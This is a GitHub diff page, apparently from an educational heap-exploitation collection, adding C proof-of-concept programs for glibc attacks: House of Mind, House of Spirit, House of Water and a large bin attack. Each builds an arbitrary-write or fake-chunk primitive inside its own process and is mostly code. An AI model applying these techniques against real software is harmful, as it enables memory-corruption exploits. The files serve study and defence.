@@ -0,0 +1,235 @@ | ||
#include <stdio.h> | ||
#include <stdlib.h> | ||
#include <string.h> | ||
#include <unistd.h> | ||
#include <stdint.h> | ||
#include <assert.h> | ||
|
||
/* | ||
House of Mind - Fastbin Variant | ||
========================== | ||
This attack is similar to the original 'House of Mind' in that it uses | ||
a fake non-main arena in order to write to a new location. This | ||
uses the fastbin for a WRITE-WHERE primitive in the 'fastbin' | ||
variant of the original attack though. The original write for this | ||
can be found at https://dl.packetstormsecurity.net/papers/attack/MallocMaleficarum.txt with a more recent post (by me) at https://maxwelldulin.com/BlogPost?post=2257705984. | ||
By being able to allocate an arbitrary amount of chunks, a single byte | ||
overwrite on a chunk size and a memory leak, we can control a super | ||
powerful primitive. | ||
This could be used in order to write a freed pointer to an arbitrary | ||
location (which seems more useful). Or, this could be used as a | ||
write-large-value-WHERE primitive (similar to unsortedbin attack). | ||
Both are interesting in their own right though but the first | ||
option is the most powerful primitive, given the right setting. | ||
Malloc chunks have a specified size and this size information | ||
special metadata properties (prev_inuse, mmap chunk and non-main arena). | ||
The usage of non-main arenas is the focus of this exploit. For more information | ||
on this, read https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/. | ||
First, we need to understand HOW the non-main arena is known from a chunk. | ||
This the 'heap_info' struct: | ||
struct _heap_info | ||
{ | ||
mstate ar_ptr; // Arena for this heap. <--- Malloc State pointer | ||
struct _heap_info *prev; // Previous heap. | ||
size_t size; // Current size in bytes. | ||
size_t mprotect_size; // Size in bytes that has been mprotected | ||
char pad[-6 * SIZE_SZ & MALLOC_ALIGN_MASK]; // Proper alignment | ||
} heap_info; | ||
- https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/arena.c#L48 | ||
The important thing to note is that the 'malloc_state' within | ||
an arena is grabbed from the ar_ptr, which is the FIRST entry | ||
of this. Malloc_state == mstate == arena | ||
The main arena has a special pointer. However, non-main arenas (mstate) | ||
are at the beginning of a heap section. They are grabbed with the | ||
following code below, where the user controls the 'ptr' in 'arena_for_chunk': | ||
#define heap_for_ptr(ptr) \ | ||
((heap_info *) ((unsigned long) (ptr) & ~(HEAP_MAX_SIZE - 1))) | ||
#define arena_for_chunk(ptr) \ | ||
(chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena) | ||
- https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/arena.c#L127 | ||
This macro takes the 'ptr' and subtracts a large value because the | ||
'heap_info' should be at the beginning of this heap section. Then, | ||
using this, it can find the 'arena' to use. | ||
The idea behind the attack is to use a fake arena to write pointers | ||
to locations where they should not go but abusing the 'arena_for_chunk' | ||
functionality when freeing a fastbin chunk. | ||
This POC does the following things: | ||
- Finds a valid arena location for a non-main arena. | ||
- Allocates enough heap chunks to get to the non-main arena location where | ||
we can control the values of the arena data. | ||
- Creates a fake 'heap_info' in order to specify the 'ar_ptr' to be used as the arena later. | ||
- Using this fake arena (ar_ptr), we can use the fastbin to write | ||
to an unexpected location of the 'ar_ptr' with a heap pointer. | ||
Requirements: | ||
- A heap leak in order to know where the fake 'heap_info' is located at. | ||
- Could be possible to avoid with special spraying techniques | ||
- An unlimited amount of allocations | ||
- A single byte overflow on the size of a chunk | ||
- NEEDS to be possible to put into the fastbin. | ||
- So, either NO tcache or the tcache needs to be filled. | ||
- The location of the malloc state(ar_ptr) needs to have a value larger | ||
than the fastbin size being freed at malloc_state.system_mem otherwise | ||
the chunk will be assumed to be invalid. | ||
- This can be manually inserted or CAREFULLY done by lining up | ||
values in a proper way. | ||
- The NEXT chunk, from the one that is being freed, must be a valid size | ||
(again, greater than 0x20 and less than malloc_state.system_mem) | ||
Random perks: | ||
- Can be done MULTIPLE times at the location, with different sized fastbin | ||
chunks. | ||
- Does not brick malloc, unlike the unsorted bin attack. | ||
- Only has three requirements: Infinite allocations, single byte buffer overflowand a heap memory leak. | ||
************************************ | ||
Written up by Maxwell Dulin (Strikeout) | ||
************************************ | ||
*/ | ||
|
||
int main(){ | ||
|
||
printf("House of Mind - Fastbin Variant\n"); | ||
puts("=================================="); | ||
printf("The goal of this technique is to create a fake arena\n"); | ||
printf("at an offset of HEAP_MAX_SIZE\n"); | ||
|
||
printf("Then, we write to the fastbins when the chunk is freed\n"); | ||
printf("This creates a somewhat constrained WRITE-WHERE primitive\n"); | ||
// Values for the allocation information. | ||
int HEAP_MAX_SIZE = 0x4000000; | ||
int MAX_SIZE = (128*1024) - 0x100; // MMap threshold: https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L635 | ||
|
||
printf("Find initial location of the heap\n"); | ||
// The target location of our attack and the fake arena to use | ||
uint8_t* fake_arena = malloc(0x1000); | ||
uint8_t* target_loc = fake_arena + 0x30; | ||
|
||
uint8_t* target_chunk = (uint8_t*) fake_arena - 0x10; | ||
|
||
/* | ||
Prepare a valid 'malloc_state' (arena) 'system_mem' | ||
to store a fastbin. This is important because the size | ||
of a chunk is validated for being too small or too large | ||
via the 'system_mem' of the 'malloc_state'. This just needs | ||
to be a value larger than our fastbin chunk. | ||
*/ | ||
printf("Set 'system_mem' (offset 0x888) for fake arena\n"); | ||
fake_arena[0x888] = 0xFF; | ||
fake_arena[0x889] = 0xFF; | ||
fake_arena[0x88a] = 0xFF; | ||
|
||
printf("Target Memory Address for overwrite: %p\n", target_loc); | ||
printf("Must set data at HEAP_MAX_SIZE (0x%x) offset\n", HEAP_MAX_SIZE); | ||
|
||
// Calculate the location of our fake arena | ||
uint64_t new_arena_value = (((uint64_t) target_chunk) + HEAP_MAX_SIZE) & ~(HEAP_MAX_SIZE - 1); | ||
uint64_t* fake_heap_info = (uint64_t*) new_arena_value; | ||
|
||
uint64_t* user_mem = malloc(MAX_SIZE); | ||
printf("Fake Heap Info struct location: %p\n", fake_heap_info); | ||
printf("Allocate until we reach a MAX_HEAP_SIZE offset\n"); | ||
|
||
/* | ||
The fake arena must be at a particular offset on the heap. | ||
So, we allocate a bunch of chunks until our next chunk | ||
will be in the arena. This value was calculated above. | ||
*/ | ||
while((long long)user_mem < new_arena_value){ | ||
user_mem = malloc(MAX_SIZE); | ||
} | ||
|
||
// Use this later to trigger craziness | ||
printf("Create fastbin sized chunk to be victim of attack\n"); | ||
uint64_t* fastbin_chunk = malloc(0x50); // Size of 0x60 | ||
uint64_t* chunk_ptr = fastbin_chunk - 2; // Point to chunk instead of mem | ||
printf("Fastbin Chunk to overwrite: %p\n", fastbin_chunk); | ||
|
||
printf("Fill up the TCache so that the fastbin will be used\n"); | ||
// Fill the tcache to make the fastbin to be used later. | ||
uint64_t* tcache_chunks[7]; | ||
for(int i = 0; i < 7; i++){ | ||
tcache_chunks[i] = malloc(0x50); | ||
} | ||
for(int i = 0; i < 7; i++){ | ||
free(tcache_chunks[i]); | ||
} | ||
|
||
|
||
/* | ||
Create a FAKE malloc_state pointer for the heap_state | ||
This is the 'ar_ptr' of the 'heap_info' struct shown above. | ||
This is the first entry in the 'heap_info' struct at offset 0x0 | ||
at the heap. | ||
We set this to the location where we want to write a value to. | ||
The location that gets written to depends on the fastbin chunk | ||
size being freed. This will be between an offset of 0x8 and 0x40 | ||
bytes. For instance, a chunk with a size of 0x20 would be in the | ||
0th index of fastbinsY struct. When this is written to, we will | ||
write to an offset of 8 from the original value written. | ||
- https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L1686 | ||
*/ | ||
printf("Setting 'ar_ptr' (our fake arena) in heap_info struct to %p\n", fake_arena); | ||
fake_heap_info[0] = (uint64_t) fake_arena; // Setting the fake ar_ptr (arena) | ||
printf("Target Write at %p prior to exploitation: 0x%x\n", target_loc, *(target_loc)); | ||
|
||
/* | ||
Set the non-main arena bit on the size. | ||
Additionally, we keep the size the same as the original | ||
allocation because there is a sanity check on the fastbin (when freeing) | ||
that the next chunk has a valid size. | ||
When grabbing the non-main arena, it will use our choosen arena! | ||
From there, it will write to the fastbin because of the size of the | ||
chunk. | ||
///// Vulnerability! Overwriting the chunk size | ||
*/ | ||
printf("Set non-main arena bit on the fastbin chunk\n"); | ||
puts("NOTE: This keeps the next chunk size valid because the actual chunk size was never changed\n"); | ||
chunk_ptr[1] = 0x60 | 0x4; // Setting the non-main arena bit | ||
|
||
//// End vulnerability | ||
|
||
/* | ||
The offset being written to with the fastbin chunk address | ||
depends on the fastbin BEING used and the malloc_state itself. | ||
In 2.31, the offset from the beginning of the malloc_state | ||
to the fastbinsY array is 0x10. Then, fastbinsY[0x4] is an | ||
additional byte offset of 0x20. In total, the writing offset | ||
from the arena location is 0x30 bytes. | ||
from the arena location to where the write actually occurs. | ||
This is a similar concept to bk - 0x10 from the unsorted | ||
bin attack. | ||
*/ | ||
|
||
printf("When we free the fastbin chunk with the non-main arena bit\n"); | ||
printf("set, it will cause our fake 'heap_info' struct to be used.\n"); | ||
printf("This will dereference our fake arena location and write\n"); | ||
printf("the address of the heap to an offset of the arena pointer.\n"); | ||
|
||
printf("Trigger the magic by freeing the chunk!\n"); | ||
free(fastbin_chunk); // Trigger the madness | ||
|
||
// For this particular fastbin chunk size, the offset is 0x28. | ||
printf("Target Write at %p: 0x%llx\n", target_loc, *((unsigned long long*) (target_loc))); | ||
assert(*((unsigned long *) (target_loc)) != 0); | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,48 @@ | ||
#include <stdio.h> | ||
#include <stdlib.h> | ||
#include <assert.h> | ||
|
||
int main() | ||
{ | ||
setbuf(stdout, NULL); | ||
|
||
puts("This file demonstrates the house of spirit attack."); | ||
puts("This attack adds a non-heap pointer into fastbin, thus leading to (nearly) arbitrary write."); | ||
puts("Required primitives: known target address, ability to set up the start/end of the target memory"); | ||
|
||
puts("\nStep 1: Allocate 7 chunks and free them to fill up tcache"); | ||
void *chunks[7]; | ||
for(int i=0; i<7; i++) { | ||
chunks[i] = malloc(0x30); | ||
} | ||
for(int i=0; i<7; i++) { | ||
free(chunks[i]); | ||
} | ||
|
||
puts("\nStep 2: Prepare the fake chunk"); | ||
// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY) | ||
long fake_chunks[10] __attribute__ ((aligned (0x10))); | ||
printf("The target fake chunk is at %p\n", fake_chunks); | ||
printf("It contains two chunks. The first starts at %p and the second at %p.\n", &fake_chunks[1], &fake_chunks[9]); | ||
printf("This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n"); | ||
puts("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end."); | ||
printf("Now set the size of the chunk (%p) to 0x40 so malloc will think it is a valid chunk.\n", &fake_chunks[1]); | ||
fake_chunks[1] = 0x40; // this is the size | ||
|
||
printf("The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n"); | ||
printf("Set the size of the chunk (%p) to 0x1234 so freeing the first chunk can succeed.\n", &fake_chunks[9]); | ||
fake_chunks[9] = 0x1234; // nextsize | ||
|
||
puts("\nStep 3: Free the first fake chunk"); | ||
puts("Note that the address of the fake chunk must be 16-byte aligned.\n"); | ||
void *victim = &fake_chunks[2]; | ||
free(victim); | ||
|
||
puts("\nStep 4: Take out the fake chunk"); | ||
printf("Now the next calloc will return our fake chunk at %p!\n", &fake_chunks[2]); | ||
printf("malloc can do the trick as well, you just need to do it for 8 times."); | ||
void *allocated = calloc(1, 0x30); | ||
printf("malloc(0x30): %p, fake chunk: %p\n", allocated, victim); | ||
|
||
assert(allocated == victim); | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,370 @@ | ||
#include <stdio.h> | ||
#include <stdlib.h> | ||
#include <assert.h> | ||
|
||
/* | ||
* House of Water is a technique for converting a Use-After-Free (UAF) vulnerability into a t-cache | ||
* metadata control primitive, with the added benefit of obtaining a free libc pointer in the | ||
* t-cache metadata as well. | ||
* | ||
* NOTE: This requires 4 bits of bruteforce if the primitive is a write primitive, as the LSB will | ||
* contain 4 bits of randomness. If you can increment integers, no brutefore is required. | ||
* | ||
* By setting the count of t-cache entries 0x3e0 and 0x3f0 to 1, a "fake" heap chunk header of | ||
* size "0x10001" is created. | ||
* | ||
* This fake heap chunk header happens to be positioned above the 0x20 and 0x30 t-cache linked | ||
* address entries, enabling the creation of a fully functional fake unsorted-bin entry. | ||
* | ||
* The correct size should be set for the chunk, and the next chunk's prev-in-use bit | ||
* must be 0. Therefore, from the fake t-cache metadata chunk+0x10000, the appropriate values | ||
* should be written. | ||
* | ||
* Finally, due to the behavior of allocations from unsorted-bins, once t-cache metadata control | ||
* is achieved, a libc pointer can also be inserted into the metadata. This allows the libc pointer | ||
* to be ready for allocation as well. | ||
* | ||
* Technique / house by @udp_ctf - Water Paddler / Blue Water | ||
*/ | ||
|
||
void dump_memory(void *addr, unsigned long count) { | ||
for (unsigned int i = 0; i < count*16; i += 16) { | ||
printf("0x%016lx\t\t0x%016lx 0x%016lx\n", (unsigned long)(addr+i), *(long *)(addr+i), *(long *)(addr+i+0x8)); | ||
} | ||
} | ||
|
||
int main(void) { | ||
// Dummy variable | ||
void *_ = NULL; | ||
|
||
// Prevent _IO_FILE from buffering in the heap | ||
setbuf(stdin, NULL); | ||
setbuf(stdout, NULL); | ||
setbuf(stderr, NULL); | ||
|
||
|
||
puts("\n"); | ||
puts("\t=============================="); | ||
puts("\t| STEP 1 |"); | ||
puts("\t=============================="); | ||
puts("\n"); | ||
|
||
// Step 1: Allocate a 0x3d8 and a 0x3e8 to set their respective t-cache counts to 1, | ||
// effectively inserting 0x10001 in to the t-cache above the 0x20 and 0x30 t-cache | ||
// addresses. | ||
puts("Allocate and free a chunk in 0x3e0 and 0x3f0 t-caches. This sets both"); | ||
puts("their t-cache entry counts to 1 and creates a fake 0x10001 header:"); | ||
|
||
void *fake_size_lsb = malloc(0x3d8); | ||
void *fake_size_msb = malloc(0x3e8); | ||
puts("\t- chunks:"); | ||
printf("\t\t* Entry 0x3e0 @ %p\n", fake_size_lsb); | ||
printf("\t\t* Entry 0x3f0 @ %p\n", fake_size_msb); | ||
free(fake_size_lsb); | ||
free(fake_size_msb); | ||
puts(""); | ||
|
||
// This is just to make a pointer to the t-cache metadata for later. | ||
void *metadata = (void *)((long)(fake_size_lsb) & ~(0xfff)); | ||
|
||
puts("The t-cache metadata will now have the following entry counts:"); | ||
dump_memory(metadata+0x70, 3); | ||
puts(""); | ||
|
||
// Make allocations to free later such that we can exhaust the 0x90 t-cache | ||
puts("Allocate 7 0x88 chunks needed to fill out the 0x90 t-cache at a later time"); | ||
void *x[7]; | ||
for (int i = 0; i < 7; i++) { | ||
x[i] = malloc(0x88); | ||
} | ||
puts(""); | ||
|
||
|
||
puts("\n"); | ||
puts("\t=============================="); | ||
puts("\t| STEP 2 |"); | ||
puts("\t=============================="); | ||
puts("\n"); | ||
|
||
// Step 2: Create the unsorted bins linked list, used for hijacking at a later time | ||
puts("Now, allocate three 0x90 chunks with guard chunks in between. This prevents"); | ||
puts("chunk-consolidation and sets our target for the house of water attack."); | ||
puts("\t- chunks:"); | ||
|
||
void *unsorted_start = malloc(0x88); | ||
printf("\t\t* unsorted_start\t@ %p\n", unsorted_start); | ||
_ = malloc(0x18); // Guard chunk | ||
|
||
puts("\t\t* /guard/"); | ||
|
||
void *unsorted_middle = malloc(0x88); | ||
printf("\t\t* unsorted_middle\t@ %p\n", unsorted_middle); | ||
_ = malloc(0x18); // Guard chunk | ||
|
||
puts("\t\t* /guard/"); | ||
|
||
void *unsorted_end = malloc(0x88); | ||
printf("\t\t* unsorted_end\t\t@ %p\n", unsorted_end); | ||
_ = malloc(0x18); // Guard chunk | ||
|
||
puts("\t\t* /guard/"); | ||
|
||
puts(""); | ||
|
||
|
||
puts("\n"); | ||
puts("\t=============================="); | ||
puts("\t| STEP 3 |"); | ||
puts("\t=============================="); | ||
puts("\n"); | ||
|
||
// Step 3: Satisfy the conditions for a free'd chunk, namely having the correct size at the end of the chunk and | ||
// a size field next to it having it's prev-in-use bit set to 0 | ||
puts("Make an allocation to reach the end of the faked chunk"); | ||
|
||
_ = malloc(0xf000); // Padding | ||
void *end_of_fake = malloc(0x18); // Metadata chunk | ||
|
||
puts("\t- chunks:"); | ||
printf("\t\t* padding\t\t@ %p\n", _); | ||
printf("\t\t* end of fake\t\t@ %p\n", end_of_fake); | ||
puts(""); | ||
|
||
puts("Write the correct metadata to the chunk to prevent libc from failing checks:"); | ||
printf("\t*%p = 0x10000\n", end_of_fake); | ||
*(long *)end_of_fake = 0x10000; | ||
printf("\t*%p = 0x20\n", end_of_fake+8); | ||
*(long *)(end_of_fake+0x8) = 0x20; | ||
puts(""); | ||
|
||
puts("Creating the following setup:"); | ||
puts(""); | ||
dump_memory(end_of_fake, 1); | ||
puts(""); | ||
|
||
|
||
puts("\n"); | ||
puts("\t=============================="); | ||
puts("\t| STEP 4 |"); | ||
puts("\t=============================="); | ||
puts("\n"); | ||
|
||
// Step 4: Free t-cache entries | ||
puts("Fill up the 0x90 t-cache with the chunks allocated from earlier by freeing them."); | ||
puts("By doing so, the next time a 0x88 chunk is free'd, it ends up in the unsorted-bin"); | ||
puts("instead of the t-cache or small-bins."); | ||
for (int i = 0; i < 7; i++) { | ||
free(x[i]); | ||
} | ||
puts("\n"); | ||
|
||
|
||
puts("\n"); | ||
puts("\t=============================="); | ||
puts("\t| STEP 5 |"); | ||
puts("\t=============================="); | ||
puts("\n"); | ||
|
||
// Step 5: Create a 0x20 and a 0x30 t-cache entry which overlaps unsorted_start and unsorted_end. | ||
// By doing this, we can blindly fake a FWD and BCK pointer in the t-cache metadata! | ||
|
||
puts("Here comes the trickiest part!\n"); | ||
|
||
puts("We essentially want a pointer in the 0x20 t-cache metadata to act as a FWD\n" | ||
"pointer and a pointer in the 0x30 t-cache to act as a BCK pointer."); | ||
puts("We want it such that it points to the chunk header of our unsorted bin entries,\n" | ||
"and not at the chunk itself which is common for t-cache.\n"); | ||
|
||
puts("Using a technique like house of botcake or a stronger arb-free primitive, free a"); | ||
puts("chunk such that it overlaps with the header of unsorted_start and unsorte_end."); | ||
puts(""); | ||
|
||
puts("It should look like the following:"); | ||
puts(""); | ||
|
||
puts("unsorted_start:"); | ||
printf("0x%016lx\t\t0x%016lx 0x%016lx <-- tcachebins[0x30][0/1], unsortedbin[all][0]\n", (unsigned long)(unsorted_start-0x10), *(long *)(unsorted_start-0x10), *(long *)(unsorted_start-0x8)); | ||
dump_memory(unsorted_start, 2); | ||
puts(""); | ||
|
||
puts("unsorted_end:"); | ||
printf("0x%016lx\t\t0x%016lx 0x%016lx <-- tcachebins[0x20][0/1], unsortedbin[all][2]\n", (unsigned long)(unsorted_end-0x10), *(long *)(unsorted_end-0x10), *(long *)(unsorted_end-0x8)); | ||
dump_memory(unsorted_end, 2); | ||
|
||
puts("\n"); | ||
puts("If you want to see a blind example using only double free, see the following chal: "); | ||
puts("https://github.com/UDPctf/CTF-challenges/tree/main/Potluck-CTF-2023/Tamagoyaki"); | ||
puts("\n"); | ||
|
||
puts("For the sake of simplicity, let's just simulate an arbitrary free primitive."); | ||
puts("\n"); | ||
|
||
|
||
puts("--------------------"); | ||
puts("| PART 1 |"); | ||
puts("--------------------"); | ||
puts("\n"); | ||
|
||
// Step 5 part 1: | ||
puts("Write 0x31 above unsorted_start to enable its freeing into the 0x30 t-cache."); | ||
printf("\t*%p-0x18 = 0x31\n", unsorted_start); | ||
*(long*)(unsorted_start-0x18) = 0x31; | ||
puts(""); | ||
|
||
puts("This creates a 0x31 entry just above unsorted_start, which looks like the following:"); | ||
dump_memory(unsorted_start-0x20, 3); | ||
puts(""); | ||
|
||
printf("Free the faked 0x31 chunk @ %p\n", unsorted_start-0x10); | ||
free(unsorted_start-0x10); // Create a fake FWD | ||
puts(""); | ||
|
||
puts("Finally, because of the meta-data created by free'ing the 0x31 chunk, we need to"); | ||
puts("restore the original header of the unsorted_start chunk by restoring the 0x91 header:"); | ||
printf("\t*%p-0x8 = 0x91\n", unsorted_start); | ||
*(long*)(unsorted_start-0x8) = 0x91; | ||
puts(""); | ||
|
||
puts("Now, let's do the same for unsorted_end except using a 0x21 faked chunk."); | ||
puts(""); | ||
|
||
|
||
puts("--------------------"); | ||
puts("| PART 2 |"); | ||
puts("--------------------"); | ||
puts("\n"); | ||
|
||
// Step 5 part 2: | ||
puts("Write 0x21 above unsorted_end, such that it can be free'd in to the 0x20 t-cache:"); | ||
printf("\t*%p-0x18 = 0x21\n", unsorted_end); | ||
*(long*)(unsorted_end-0x18) = 0x21; | ||
puts(""); | ||
|
||
puts("This creates a 0x21 just above unsorted_end, which looks like the following:"); | ||
dump_memory(unsorted_end-0x20, 3); | ||
puts(""); | ||
|
||
printf("Free the faked 0x21 chunk @ %p\n", unsorted_end-0x10); | ||
free(unsorted_end-0x10); // Create a fake BCK | ||
puts(""); | ||
|
||
puts("restore the original header of the unsorted_end chunk by restoring the 0x91 header:"); | ||
printf("\t*%p-0x8 = 0x91\n", unsorted_end); | ||
*(long*)(unsorted_end-0x8) = 0x91; | ||
puts(""); | ||
|
||
|
||
puts("\n"); | ||
puts("\t=============================="); | ||
puts("\t| STEP 6 |"); | ||
puts("\t=============================="); | ||
puts("\n"); | ||
|
||
// Step 6: Create the unsorted bin list | ||
puts("Now, let's free the unsorted bin entries!"); | ||
|
||
puts("\t> free(unsorted_end);"); | ||
free(unsorted_end); | ||
|
||
puts("\t> free(unsorted_middle);"); | ||
free(unsorted_middle); | ||
|
||
puts("\t> free(unsorted_start);"); | ||
free(unsorted_start); | ||
|
||
puts("\n"); | ||
|
||
// Show the setup as is | ||
|
||
puts("At this point, our heap looks something like this:"); | ||
|
||
printf("\t- Unsorted bin:\n"); | ||
puts("\t\tunsorted_start <--> unsorted_middle <--> unsorted_end"); | ||
printf("\t\t%p <--> %p <--> %p\n", unsorted_start-0x10, unsorted_middle-0x10, unsorted_end-0x10); | ||
|
||
printf("\t- 0x20 t-cache:\n"); | ||
printf("\t\t* 0x%lx\n", *(long*)(metadata+0x90)); | ||
printf("\t- 0x30 t-cache\n"); | ||
printf("\t\t* 0x%lx\n", *(long*)(metadata+0x98)); | ||
puts(""); | ||
|
||
puts("The fake chunk in the t-cache will look like the following:"); | ||
dump_memory(metadata+0x70, 4); | ||
puts(""); | ||
|
||
puts("We can now observe that the 0x30 t-cache points to unsorted_start and 0x20 t-cache points to "); | ||
puts("unsorted_end, which is what we need to fake an unsorted-bin entry and hijack unsorted_middle."); | ||
|
||
|
||
puts("\n"); | ||
puts("\t=============================="); | ||
puts("\t| STEP 7 |"); | ||
puts("\t=============================="); | ||
puts("\n"); | ||
|
||
// Step 7: Overwrite LSB of unsorted_start and unsorted_end to point to the fake t-cache metadata chunk | ||
puts("Finally, all there is left to do is simply overwrite the LSB of unsorted_start FWD-"); | ||
puts("and BCK pointer for unsorted_end to point to the faked t-cache metadata chunk."); | ||
puts(""); | ||
|
||
/* VULNERABILITY */ | ||
printf("\t- unsorted_start:\n"); | ||
printf("\t\t*%p = %p\n", unsorted_start, metadata+0x80); | ||
*(unsigned long *)unsorted_start = (unsigned long)(metadata+0x80); | ||
puts(""); | ||
|
||
printf("\t- unsorted_end:\n"); | ||
printf("\t\t*%p = %p\n", unsorted_end, metadata+0x80); | ||
*(unsigned long *)(unsorted_end+0x8) = (unsigned long)(metadata+0x80); | ||
puts(""); | ||
/* VULNERABILITY */ | ||
|
||
puts("At this point, the unsorted bin will look like the following:"); | ||
puts(""); | ||
|
||
puts("\t- unsorted bin:"); | ||
printf("\t\t unsorted_start <--> metadata chunk <--> unsorted_end\n"); | ||
printf("\t\t %p\t %p %p\n", unsorted_start, metadata+0x80, unsorted_end); | ||
|
||
|
||
puts("\n"); | ||
puts("\t=============================="); | ||
puts("\t| STEP 8 |"); | ||
puts("\t=============================="); | ||
puts("\n"); | ||
|
||
// Step 8: allocate to win | ||
puts("Now, simply just allocate a chunk that's within the 0x10000 range"); | ||
puts("to allocate from the faked chunk. As an example, we will allocate a 0x288:"); | ||
|
||
puts("\t- 0x288 chunk:"); | ||
|
||
// Next allocation *could* be our faked chunk! | ||
void *meta_chunk = malloc(0x288); | ||
|
||
printf("\t\tNew chunk\t @ %p\n", meta_chunk); | ||
printf("\t\tt-cache metadata @ %p\n", metadata); | ||
assert(meta_chunk == (metadata+0x90)); | ||
puts(""); | ||
|
||
|
||
puts("\n"); | ||
puts("\t=============================="); | ||
puts("\t| BONUS! |"); | ||
puts("\t=============================="); | ||
puts("\n"); | ||
|
||
// BONUS! | ||
puts("Whilst the primary goal of this house is to provide a leakless way"); | ||
puts("to gain t-cache control by overwriting LSB, a nice bonus is the free LIBC"); | ||
puts("pointer we get as an added bonus to the method!"); | ||
puts(""); | ||
|
||
puts("This is what the t-cache metadata will look like after we allocated the"); | ||
puts("t-cache metadata chunk:"); | ||
dump_memory(metadata+0x70, 4); | ||
puts(""); | ||
|
||
|
||
puts("Notice how the 0x20 and 0x30 t-cache now contains a libc pointer to the main_arena."); | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,94 @@ | ||
#include<stdio.h> | ||
#include<stdlib.h> | ||
#include<assert.h> | ||
|
||
/* | ||
A revisit to large bin attack for after glibc2.30 | ||
Relevant code snippet : | ||
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){ | ||
fwd = bck; | ||
bck = bck->bk; | ||
victim->fd_nextsize = fwd->fd; | ||
victim->bk_nextsize = fwd->fd->bk_nextsize; | ||
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; | ||
} | ||
*/ | ||
|
||
int main(){ | ||
/*Disable IO buffering to prevent stream from interfering with heap*/ | ||
setvbuf(stdin,NULL,_IONBF,0); | ||
setvbuf(stdout,NULL,_IONBF,0); | ||
setvbuf(stderr,NULL,_IONBF,0); | ||
|
||
printf("\n\n"); | ||
printf("Since glibc2.30, two new checks have been enforced on large bin chunk insertion\n\n"); | ||
printf("Check 1 : \n"); | ||
printf("> if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))\n"); | ||
printf("> malloc_printerr (\"malloc(): largebin double linked list corrupted (nextsize)\");\n"); | ||
printf("Check 2 : \n"); | ||
printf("> if (bck->fd != fwd)\n"); | ||
printf("> malloc_printerr (\"malloc(): largebin double linked list corrupted (bk)\");\n\n"); | ||
printf("This prevents the traditional large bin attack\n"); | ||
printf("However, there is still one possible path to trigger large bin attack. The PoC is shown below : \n\n"); | ||
|
||
printf("====================================================================\n\n"); | ||
|
||
size_t target = 0; | ||
printf("Here is the target we want to overwrite (%p) : %lu\n\n",&target,target); | ||
size_t *p1 = malloc(0x428); | ||
printf("First, we allocate a large chunk [p1] (%p)\n",p1-2); | ||
size_t *g1 = malloc(0x18); | ||
printf("And another chunk to prevent consolidate\n"); | ||
|
||
printf("\n"); | ||
|
||
size_t *p2 = malloc(0x418); | ||
printf("We also allocate a second large chunk [p2] (%p).\n",p2-2); | ||
printf("This chunk should be smaller than [p1] and belong to the same large bin.\n"); | ||
size_t *g2 = malloc(0x18); | ||
printf("Once again, allocate a guard chunk to prevent consolidate\n"); | ||
|
||
printf("\n"); | ||
|
||
free(p1); | ||
printf("Free the larger of the two --> [p1] (%p)\n",p1-2); | ||
size_t *g3 = malloc(0x438); | ||
printf("Allocate a chunk larger than [p1] to insert [p1] into large bin\n"); | ||
|
||
printf("\n"); | ||
|
||
free(p2); | ||
printf("Free the smaller of the two --> [p2] (%p)\n",p2-2); | ||
printf("At this point, we have one chunk in large bin [p1] (%p),\n",p1-2); | ||
printf(" and one chunk in unsorted bin [p2] (%p)\n",p2-2); | ||
|
||
printf("\n"); | ||
|
||
p1[3] = (size_t)((&target)-4); | ||
printf("Now modify the p1->bk_nextsize to [target-0x20] (%p)\n",(&target)-4); | ||
|
||
printf("\n"); | ||
|
||
size_t *g4 = malloc(0x438); | ||
printf("Finally, allocate another chunk larger than [p2] (%p) to place [p2] (%p) into large bin\n", p2-2, p2-2); | ||
printf("Since glibc does not check chunk->bk_nextsize if the new inserted chunk is smaller than smallest,\n"); | ||
printf(" the modified p1->bk_nextsize does not trigger any error\n"); | ||
printf("Upon inserting [p2] (%p) into largebin, [p1](%p)->bk_nextsize->fd_nextsize is overwritten to address of [p2] (%p)\n", p2-2, p1-2, p2-2); | ||
|
||
printf("\n"); | ||
|
||
printf("In our case here, target is now overwritten to address of [p2] (%p), [target] (%p)\n", p2-2, (void *)target); | ||
printf("Target (%p) : %p\n",&target,(size_t*)target); | ||
|
||
printf("\n"); | ||
printf("====================================================================\n\n"); | ||
|
||
assert((size_t)(p2-2) == target); | ||
|
||
return 0; | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,140 @@ | ||
